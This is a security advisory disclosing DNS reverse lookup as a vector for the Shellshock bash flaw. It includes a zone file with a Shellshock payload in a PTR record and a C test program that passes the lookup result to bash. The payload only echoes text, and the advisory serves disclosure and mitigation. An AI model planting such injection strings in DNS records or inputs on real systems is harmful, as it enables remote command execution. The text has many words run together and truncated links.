| DNS Reverse Lookup asa vector forthe Bash vulnerability (CVE-2014-6271 et.al.) 
  
                        CVE-2014-3671 
  
 references: 
      CVE-2014-6271, CVE-2014-7169, CVE-2014-6277, CVE-2014-6278  
      CVE-2014-7186 and, CVE-2014-7187 
  
 * Summary: 
  
 Above CVEs detail a number of flaws inbash prior related to the parsing  
 of environment variables  (aka BashBug, Shellshock). Several networked 
 vectors fortriggering thisbug have been discovered; such asthrough 
 dhcp options and CGI environment variables inwebservers [1]. 
  
 This document isto advise you of an additional vector; through a  
 reverse lookup inDNS; and where the results of thislookup are 
 passed, unsanitized, to an environment variable (e.g. aspart of 
 a batch process).  
  
 This vector issubtly different from a normal attack vector, asthe 
 attacker can 'sit back'and let a (legitimate) user trigger the 
 issue; hence keeping the footprint fora IDS or WAAS to act on small. 
  
 * Resolvers/systems affected: 
  
 At thispoint of time the stock resolvers (incombination with the libc 
 library) of OSX 10.9 (all versions) and 10.10/R2 are the only known 
 standard installations that pass the bash exploit stringback and 
 up to getnameinfo().  
  
 That means that UNpatched systems are vulnerable through thisvector 
 PRIOR to the bash update documented inhttp:
  
 Most other OS-es (e.g. RHEL6, Centos, FreeBSD 7 and up, seem  
 unaffected intheir stock install aslibc/libresolver and DNS use  
 different escaping mechanisms (octal v.s. decimal). 
  
 We're currently following investing a number of async DNS resolvers 
 that are commonly used inDB cache/speed optimising products and 
 application level/embedded firewall systems. 
  
 Versions affected:  
  
 See above CVEs asyour primary source. 
  
 * Resolution and Mitigation: 
  
 In addition to the mitigations listed inabove CVEs - IDSes and similar  
 systems may be configured to parse DNS traffic inorder to spot the  
 offending strings. 
  
 Also note that Apple DL1769 addresses the Bash issue; NOT the vector 
 through the resolver.  
  
 * Reproducing the flaw: 
  
 A simple zone file; such as: 
  
      $TTL 10; 
      $ORIGIN in-addr.arpa. 
      @     IN SOA     ns.boem.wleiden.net dirkx.webweaving.org ( 
                     666        ; serial 
                     360 180 3600 1800 ; very shortlifespan. 
                     ) 
      IN          NS     127.0.0.1 
      *           PTR      "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS"
  
 can be used to create an environment inwhich to test the issue with existing code 
 or with the following trivial example: 
  
     #include <sys/socket.h> 
     #include <netdb.h> 
     #include <assert.h> 
     #include <arpa/inet.h> 
     #include <stdio.h> 
     #include <stdlib.h> 
     #include <unistd.h> 
     #include <netinet/in.h> 
  
     intmain(intargc, char** argv) { 
      structin_addr addr; 
      structsockaddr_in sa; 
      charhost[1024]; 
  
      assert(argc==2); 
      assert(inet_aton(argv[1],&addr) == 1); 
  
      sa.sin_family = AF_INET; 
      sa.sin_addr = addr; 
  
      assert(0==getnameinfo((structsockaddr *)&sa, sizeofsa, 
           host, sizeofhost, NULL, 0, NI_NAMEREQD)); 
  
      printf("Lookup result: %s\n\n", host);     
  
      assert(setenv("REMOTE_HOST",host,1) == 0); 
      execl("/bin/bash",NULL); 
     } 
  
  
 Credits and timeline 
  
 The flaw was found and reported by Stephane Chazelas (see CVE-2014-6271 
 fordetails).  Dirk-Willem van Gulik (dirkx(at)webweaving.org) found 
 the DNS reverse lookup vector. 
  
 09-04-2011     first reported. 
 2011, 2014     issue verified on various embedded/firewall/waas 
                systems and reported to vendors.  
 ??-09-2014     Apple specific exploited seen. 
 11-10-2014     Apple confirms that with DL1769 inplace that 
                "The issue that remains, whileit raises  
                interesting questions, isnot a security  
                issue inand of itself." 
  
 * Common Vulnerability Scoring (Version 2) and vector: 
  
 See CVE-2014-6271. 
  
 1:https:
 1.10 / : 1726 $ 
 
 |